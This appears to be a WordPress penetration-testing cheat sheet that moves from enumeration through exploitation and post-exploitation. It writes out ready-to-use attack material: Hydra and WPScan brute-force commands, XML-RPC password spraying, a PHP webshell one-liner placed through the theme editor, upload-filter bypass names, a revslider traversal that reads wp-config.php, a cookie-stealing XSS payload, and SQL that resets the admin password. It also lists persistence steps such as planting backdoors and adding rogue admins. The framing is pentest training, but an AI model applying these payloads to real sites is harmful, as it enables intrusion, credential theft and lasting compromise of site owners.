

WORDPRESS PENETRATION TESTING

parosh-sec

1. SCANNING & ENUMERATION PHASE

This is the *most important* part of WordPress pentesting.

1.1 PORT SCANNING

Use Nmap aggressive scan:

```
nmap -p- -sV -sC -T4 --script=http-wordpress-enum --script=http-enum <IP>
```

Important ports:

- **80 / 443** → WordPress website
- **22** → SSH (for bruteforce after WP compromise)
- **3306** → MySQL (if exposed = critical)

Useful NSE scripts:

```
nmap -p80,443 --script "http-wordpress-*" <IP>
```

1.2 WORDPRESS VERSION ENUMERATION

Passive enumeration:

Check page source:

```
<meta name="generator" content="WordPress 6.x">
```

Check:

```
/readme.html  
/wp-links-opml.php  
/wp-includes/version.php
```

parosh-sec

WPScan:

```
wpscan --url http://target.com --enumerate ap --api-token TOKEN
```

1.3 ENUMERATE REST API

URL:

```
/wp-json/  
/wp-json/wp/v2/users  
/wp-json/wp/v2/posts  
/wp-json/wp/v2/pages
```

Leakage:

- Usernames
- Email
- Post IDs → XSS testing
- Plugin endpoints

REST API version = WordPress version ≈ CMS fingerprinting.

1.4 ENUMERATE DIRECTORIES (Dirsearch / ffuf)

Dirsearch:

```
dirsearch -u http://target.com -e php,txt,zip,html -t 60
```

ffuf:

```
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ
```

Important directories:

parosh-sec

```
/wp-content/  
/wp-content/plugins/  
/wp-content/themes/  
/wp-admin/  
/wp-includes/  
/uploads/  
/backup/  
/config/  
/logs/
```

1.5 ENUMERATE USERS

WPScan user enumeration:

```
wpscan --url http://target.com --enumerate u
```

Manual enumeration:

- REST API leaking: `/wp-json/wp/v2/users`
- Author archive enumeration:

```
/?author=1  
/?author=2
```

If redirected → you get username in URL:

```
/author/admin/  
/author/john/
```

1.6 ENUMERATE PLUGINS

Plugins are the No.1 vulnerability source.

WPScan:

parosh-sec

```
wpscan --url http://target.com --enumerate ap
```

Manual:

```
/wp-content/plugins/  
/wp-content/plugins/plugin-name/readme.txt  
/wp-content/plugins/plugin-name/changelog.txt
```

1.7 ENUMERATE THEMES

Similar approach:

```
/wp-content/themes/  
/wp-content/themes/theme-name/style.css
```

Look for:

Theme **Name:**
Version:
Author:

1.8 ENUMERATE XML-RPC

Check:

```
/xmlrpc.php
```

If enabled:

- Used for Bruteforce

- Pingback attacks
- SSRF
- DOS (pingback amplification)

parosh-sec

Check with curl:

```
curl -d '<methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
```

1.9 CMS Wordlists & WordPress-Specific Wordlists

Paths:

```
/usr/share/wordlists/wpscan/  
/usr/share/wordlists/dirbuster/  
/usr/share/seclists/Discovery/Web-Content/CMS/
```

Use WordPress-specific fuzz wordlists:

```
plugins.txt  
themes.txt  
wp-paths.txt
```

2. WORDPRESS VULNERABILITY SCANNING USING WPSCAN

WPScan is the **official WordPress scanner**.

Basic scan:

```
wpscan --url http://target.com
```

Enumerate everything:

```
wpscan --url http://target.com --enumerate u,p,t,cb,dbe
```

Options:

- **u** → users
- **p** → plugins
- **t** → themes
- **cb** → config backups
- **dbe** → DB exports

parosh-sec

Use API for vulnerability detection:

```
wpscan --url http://target.com --api-token YOUR_TOKEN
```

Skip passive detection & go aggressive

```
wpscan --url http://target.com --plugins-detection aggressive
```

3. WORDPRESS BRUTEFORCE ATTACKS

3.1 wp-login.php bruteforce

WPScan bruteforce:

```
wpscan --url http://target.com -U users.txt -P rockyou.txt
```

Hydra:

```
hydra -L users.txt -P passwords.txt target.com http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid"
```

cURL brute:

```
curl -d "log=admin&pwd=password123" http://target.com/wp-login.php
```

parosh-sec

3.2 XML-RPC Bruteforce (More Dangerous)

XML-RPC allows **multi-password attempts in one request**.

Check vulnerable:

```
curl -d '{
  "methodCall": {
    "methodName": "wp.getUsersBlogs",
    "params": [{"username":"admin", "password":"123"}]
  }' http://target.com/xmlrpc.php
```

Bruteforce with WPScan:

```
wpscan --url http://target.com -P rockyou.txt -U admin --password-attack xmlrpc
```

3.3 REST API enumeration leads to bruteforce

If usernames leak:

```
/wp-json/wp/v2/users
```

Then brute for:

- `admin`
- `editor`
- `author`
- custom usernames

4. 💣 EXPLOITING WORDPRESS VULNERABILITIES

Here are the TOP vulnerability types.

parosh-sec

★ 4.1 Arbitrary File Upload (Plugins/Themes)

Common vulnerable plugins:

- WP Store Cart (the one you learned!)
- Slider Revolution (revslider)
- TimThumb
- Theme uploaders
- Custom file upload widgets

Typical exploit path:

/wp-content/uploads/wpstorecart/products/shell.php

/wp-admin/admin-ajax.php (using vulnerable handler)

You bypass:

- ✓ extension filters
- ✓ MIME checks
- ✓ upload restrictions

Upload:

```
shell.php
shell.php.jpg
shell.phtml
image.jpg.php
```

Execute:


```
http://target/wp-content/uploads/.../shell.php?cmd=id
```

★ 4.2 WordPress RCE Exploits

parosh-sec

Most RCEs come from:

- File upload bugs
- Theme editor access
- Plugin vulnerabilities
- Deserialization vulnerabilities
- Unauthenticated Ajax function handlers
- Vulnerable REST API endpoints

Example (revslider):

```
/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
```

★ 4.3 XSS Attacks

Common XSS locations:

- Comments section
- Contact Forms
- Search boxes
- Vulnerable plugins (forum plugins, gallery plugins)
- Page builders

Payload:

```
"><script>alert(document.cookie)</script>
```

Stored XSS in WP can give:

- Admin session
- Privilege escalation
- Add new admin user
- Inject backdoors

parosh-sec

★ 4.4 Privilege Escalation

Ways to escalate:

- XSS in admin panel
- Weak roles/capabilities
- wp-config backup leakage
- Vulnerable plugins with admin Ajax

Example:

```
/wp-admin/admin-ajax.php?action=upload_file
```

→ leads to RCE.

★ 4.5 Database Access (MySQL)

If you obtain DB creds from:

```
wp-config.php
```

Then connect:

```
mysql -u wpuser -p -h target.com
```

Change admin password:

```
UPDATE wp_users SET user_pass=MD5('newpass') WHERE user_login='admin';
```

Or add a new admin user.

parosh-sec

★ 4.6 Credential Harvesting via XMLRPC Pingback SSRF

Exploit:

```
xmlrpc.php?pingback.ping → internal port scanning → SSRF
```

★ 4.7 Theme/Plugin Editor → RCE

If logged in:

Appearance → Theme Editor

Replace:

```
<?php system($_GET['cmd']); ?>
```

Access:

```
/wp-content/themes/theme/functions.php?cmd=id
```

5. 👤 WORDPRESS BLACK-BOX PENTESTING FRAMEWORK

Here's the complete methodology in order:

5.1 Phase 1 — Recon & Discovery

- Nmap full scan
- Identify WordPress
- Enumerate:
 - version
 - themes
 - plugins
 - users
 - endpoints
 - directories
 - XML-RPC

parosh-sec

Tools:

- WPScan
- WhatWeb
- Wappalyzer
- ffuf
- dirsearch

5.2 Phase 2 — Vulnerability Analysis

Check:

- Outdated WordPress version
- Outdated plugins/themes
- Known CVEs
- Exposed wp-config
- Backup files (`wp-config.php~` , `.bak` , `.old`)
- Directory listing

- Misconfigured permissions
-

5.3 Phase 3 — Exploitation

Try:

parosh-sec

✓ Bruteforce

- wp-login
- xmlrpc multi-call

✓ Arbitrary File Upload

- Plugins
- Themes
- Ajax endpoints

✓ LFI / RFI

- via vulnerable plugin file loaders

✓ XSS → Admin takeover

- Comments
- Plugins

✓ RCE

- File upload
 - Theme editor
 - Plugin editor
 - Deserialization
-

5.4 Phase 4 — Post Exploitation

Once shell obtained:

- Dump MySQL DB
- Steal wp-config creds
- Add new WP admin
- Modify homepage (deface for demo)
- Maintain persistence:
 - Add new admin
 - Upload backdoor in uploads/
 - Modify theme functions.php

parosh-sec

5.5 Phase 5 — Reporting

Document:

- Vulnerability
- Proof of Concept (PoC)
- Impact
- Fix recommendation



FINAL SUMMARY

WordPress Pentesting = Enumeration → Vulnerability Discovery → Exploitation
→ Post-Exploitation

WPScan is the core tool.

Biggest weaknesses come from Plugins & Themes.

Most real attacks: Arbitrary File Upload → Webshell → RCE.

Created By : <https://linkedin.com/in/parosh-sec>